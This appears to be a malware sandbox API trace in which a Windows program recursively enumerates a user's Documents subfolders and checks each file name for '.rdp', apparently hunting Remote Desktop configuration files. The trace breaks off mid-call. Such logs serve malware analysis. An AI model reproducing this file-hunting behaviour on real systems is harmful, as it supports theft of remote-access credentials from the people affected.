[0079.592] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\fbjkwNHF6iov5Du8Xv2\\*.*", lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0x642828 [0079.593] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.593] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.593] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.593] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.593] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.593] StrStrIA (lpFirst="amZ lx-d6GHjjvE5ND.mp3", lpSrch=".rdp") returned 0x0 [0079.593] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.593] StrStrIA (lpFirst="BF B9R63RqQqqh2.mp3", lpSrch=".rdp") returned 0x0 [0079.593] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.593] StrStrIA (lpFirst="yiDHwFAdow.m4a", lpSrch=".rdp") returned 0x0 [0079.593] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0 [0079.593] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.593] LocalFree (hMem=0x65b5e8) returned 0x0 [0079.593] LocalFree (hMem=0x6640d8) returned 0x0 [0079.593] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.593] lstrcmpiA (lpString1=".", lpString2="HsFzzjCxS6R-Pj") returned -1 [0079.593] lstrcmpiA (lpString1="..", lpString2="HsFzzjCxS6R-Pj") returned -1 [0079.593] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned 56 [0079.593] lstrlenA (lpString="\\") returned 1 [0079.593] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x650450 [0079.593] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" [0079.593] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" [0079.593] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned 57 [0079.593] lstrlenA (lpString="HsFzzjCxS6R-Pj") returned 14 [0079.593] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x650518 [0079.593] lstrcpyA (in: lpString1=0x650518, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" [0079.593] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\", lpString2="HsFzzjCxS6R-Pj" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj" [0079.593] LocalFree (hMem=0x650450) returned 0x0 [0079.593] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj") returned 71 [0079.593] lstrlenA (lpString="\\*.*") returned 4 [0079.593] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6640d8 [0079.593] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj" [0079.593] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj\\*.*" [0079.593] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\HsFzzjCxS6R-Pj\\*.*", lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0x642828 [0079.594] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.594] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.594] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.594] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.594] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.594] StrStrIA (lpFirst="F6-GQeedfiL.m4a", lpSrch=".rdp") returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.594] StrStrIA (lpFirst="Fj_SypTRXU.mp3", lpSrch=".rdp") returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.594] StrStrIA (lpFirst="iUBP8iiZTvf2h.m4a", lpSrch=".rdp") returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.594] StrStrIA (lpFirst="M5z5Z22s.m4a", lpSrch=".rdp") returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.594] StrStrIA (lpFirst="P45nFSp.mp3", lpSrch=".rdp") returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.594] StrStrIA (lpFirst="xnvrSxAOje_hH0.mp3", lpSrch=".rdp") returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.594] StrStrIA (lpFirst="xTJBJiT3_.mp3", lpSrch=".rdp") returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0 [0079.594] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.594] LocalFree (hMem=0x6640d8) returned 0x0 [0079.594] LocalFree (hMem=0x650518) returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.594] StrStrIA (lpFirst="Iu5Vry68S48LETFYT.mp3", lpSrch=".rdp") returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.594] StrStrIA (lpFirst="Z5zCJFFxP95vU.m4a", lpSrch=".rdp") returned 0x0 [0079.594] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.594] lstrcmpiA (lpString1=".", lpString2="z_yWi G9wBPdF1cw") returned -1 [0079.594] lstrcmpiA (lpString1="..", lpString2="z_yWi G9wBPdF1cw") returned -1 [0079.594] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned 56 [0079.594] lstrlenA (lpString="\\") returned 1 [0079.594] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x650450 [0079.595] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS" [0079.595] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" [0079.595] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned 57 [0079.595] lstrlenA (lpString="z_yWi G9wBPdF1cw") returned 16 [0079.595] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x6640d8 [0079.595] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\" [0079.595] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\", lpString2="z_yWi G9wBPdF1cw" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw" [0079.595] LocalFree (hMem=0x650450) returned 0x0 [0079.595] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw") returned 73 [0079.595] lstrlenA (lpString="\\*.*") returned 4 [0079.595] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x663a18 [0079.595] lstrcpyA (in: lpString1=0x663a18, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw" [0079.595] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw\\*.*" [0079.595] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Music\\PENCU9tg0usQSaovD3MS\\z_yWi G9wBPdF1cw\\*.*", lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0x642828 [0079.595] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.595] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.595] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.595] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.595] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.595] StrStrIA (lpFirst="BZDPXAYlccvkG.wav", lpSrch=".rdp") returned 0x0 [0079.595] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.595] StrStrIA (lpFirst="fe8c-GS7wWwC.m4a", lpSrch=".rdp") returned 0x0 [0079.595] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0 [0079.595] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.595] LocalFree (hMem=0x663a18) returned 0x0 [0079.595] LocalFree (hMem=0x6640d8) returned 0x0 [0079.595] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.595] StrStrIA (lpFirst="_ETXcmGpJTQdvcA.m4a", lpSrch=".rdp") returned 0x0 [0079.595] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0 [0079.595] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.595] LocalFree (hMem=0x66b738) returned 0x0 [0079.596] LocalFree (hMem=0x655028) returned 0x0 [0079.596] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.596] StrStrIA (lpFirst="X051nuXscuYvA.m4a", lpSrch=".rdp") returned 0x0 [0079.596] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0 [0079.596] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0079.596] LocalFree (hMem=0x6293a8) returned 0x0 [0079.596] LocalFree (hMem=0x629248) returned 0x0 [0079.596] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.596] lstrcmpiA (lpString1=".", lpString2="My Pictures") returned -1 [0079.596] lstrcmpiA (lpString1="..", lpString2="My Pictures") returned -1 [0079.596] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents") returned 26 [0079.596] lstrlenA (lpString="\\") returned 1 [0079.596] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652b60 [0079.596] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\Users\\EEBsYm5\\Documents" | out: lpString1="C:\\Users\\EEBsYm5\\Documents") returned="C:\\Users\\EEBsYm5\\Documents" [0079.596] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.596] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\") returned 27 [0079.596] lstrlenA (lpString="My Pictures") returned 11 [0079.596] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0079.596] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\Documents\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.596] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures" [0079.596] LocalFree (hMem=0x652b60) returned 0x0 [0079.596] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures") returned 38 [0079.596] lstrlenA (lpString="\\*.*") returned 4 [0079.596] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.596] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures" [0079.596] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\*.*" [0079.596] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\*.*", lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 0x6427a8 [0079.597] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.597] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.597] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.597] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.597] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.597] StrStrIA (lpFirst="AScq_WfPx5eVv.jpg", lpSrch=".rdp") returned 0x0 [0079.597] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.597] StrStrIA (lpFirst="desktop.ini", lpSrch=".rdp") returned 0x0 [0079.597] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.597] StrStrIA (lpFirst="oUPTJ.gif", lpSrch=".rdp") returned 0x0 [0079.597] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.597] lstrcmpiA (lpString1=".", lpString2="sITlRIKp26ZRgZ5hQFnP") returned -1 [0079.597] lstrcmpiA (lpString1="..", lpString2="sITlRIKp26ZRgZ5hQFnP") returned -1 [0079.597] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures") returned 38 [0079.597] lstrlenA (lpString="\\") returned 1 [0079.597] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6293a8 [0079.597] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures" [0079.597] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\" [0079.597] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\") returned 39 [0079.597] lstrlenA (lpString="sITlRIKp26ZRgZ5hQFnP") returned 20 [0079.597] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x655028 [0079.597] lstrcpyA (in: lpString1=0x655028, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\" [0079.597] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\", lpString2="sITlRIKp26ZRgZ5hQFnP" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP" [0079.597] LocalFree (hMem=0x6293a8) returned 0x0 [0079.597] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP") returned 59 [0079.597] lstrlenA (lpString="\\*.*") returned 4 [0079.597] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x66b738 [0079.597] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP" [0079.597] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP\\*.*" [0079.597] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\sITlRIKp26ZRgZ5hQFnP\\*.*", lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0x6427e8 [0079.597] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.597] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.598] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.598] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.598] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.598] StrStrIA (lpFirst="70PaL.png", lpSrch=".rdp") returned 0x0 [0079.598] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.598] StrStrIA (lpFirst="zOJJ7igB2Yp.bmp", lpSrch=".rdp") returned 0x0 [0079.598] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0 [0079.598] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.598] LocalFree (hMem=0x66b738) returned 0x0 [0079.598] LocalFree (hMem=0x655028) returned 0x0 [0079.598] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fc22 | out: lpFindFileData=0x12fc22) returned 1 [0079.598] lstrcmpiA (lpString1=".", lpString2="vi9vB0qE6") returned -1 [0079.598] lstrcmpiA (lpString1="..", lpString2="vi9vB0qE6") returned -1 [0079.598] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures") returned 38 [0079.598] lstrlenA (lpString="\\") returned 1 [0079.598] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6293a8 [0079.598] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures" [0079.598] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\" [0079.598] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\") returned 39 [0079.598] lstrlenA (lpString="vi9vB0qE6") returned 9 [0079.598] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0079.598] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\" [0079.598] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\", lpString2="vi9vB0qE6" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6" [0079.598] LocalFree (hMem=0x6293a8) returned 0x0 [0079.598] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6") returned 48 [0079.598] lstrlenA (lpString="\\*.*") returned 4 [0079.598] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643b68 [0079.598] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6" [0079.598] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\*.*" [0079.598] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\*.*", lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 0x6427e8 [0079.598] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.598] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.598] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.599] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.599] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.599] StrStrIA (lpFirst="63TE.jpg", lpSrch=".rdp") returned 0x0 [0079.599] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.599] StrStrIA (lpFirst="iKJDLRVQy.jpg", lpSrch=".rdp") returned 0x0 [0079.599] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fab6 | out: lpFindFileData=0x12fab6) returned 1 [0079.599] lstrcmpiA (lpString1=".", lpString2="kbeRx") returned -1 [0079.599] lstrcmpiA (lpString1="..", lpString2="kbeRx") returned -1 [0079.599] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6") returned 48 [0079.599] lstrlenA (lpString="\\") returned 1 [0079.599] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643c28 [0079.599] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6" [0079.599] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\" [0079.599] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\") returned 49 [0079.599] lstrlenA (lpString="kbeRx") returned 5 [0079.599] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x644168 [0079.599] lstrcpyA (in: lpString1=0x644168, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\" [0079.599] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\", lpString2="kbeRx" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" [0079.599] LocalFree (hMem=0x643c28) returned 0x0 [0079.599] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned 54 [0079.599] lstrlenA (lpString="\\*.*") returned 4 [0079.599] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x655028 [0079.599] lstrcpyA (in: lpString1=0x655028, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" [0079.599] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\*.*" [0079.599] FindFirstFileA (in: 